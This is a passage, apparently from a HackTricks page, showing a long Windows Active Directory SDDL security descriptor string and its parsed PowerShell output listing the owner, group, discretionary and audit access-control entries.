;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Owner            : BUILTIN\Administrators
Group            : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl        : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥